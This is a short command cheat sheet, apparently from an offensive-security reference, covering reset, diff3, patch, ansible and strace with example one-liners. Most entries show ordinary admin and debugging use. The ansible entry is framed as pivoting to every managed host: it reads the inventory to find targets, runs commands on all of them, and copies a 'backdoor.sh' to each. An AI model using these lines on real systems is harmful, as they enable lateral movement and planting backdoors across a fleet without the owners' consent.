resetMisc UtilitiesReset terminal to sane initial statereset — fix broken terminal after cat-ing binary or failed stty
diff3Misc UtilitiesThree-way file comparison and mergediff3 mine orig theirs — compare your version vs original vs their version
patchMisc UtilitiesApply unified diff patches to source filespatch -p1 < exploit.patch — apply CVE patch to source
patch file < fix.patch — patch a single file
ansibleMisc UtilitiesAutomation/orchestration framework — pivot to all managed hostsansible all -m shell -a 'id; hostname' — run command on all inventory hosts
ansible all -m copy -a 'src=./backdoor.sh dest=/tmp/ mode=0755' — deploy file to all hosts
cat /etc/ansible/hosts — read inventory to discover all managed systems
straceMisc UtilitiesTrace system calls — critical for debugging and exploit analysisstrace -ff -o /tmp/trace ./target_binary — trace all syscalls including forked children
strace -e trace=file ./binary 2>&1 | grep -v ENOENT — see all file accesses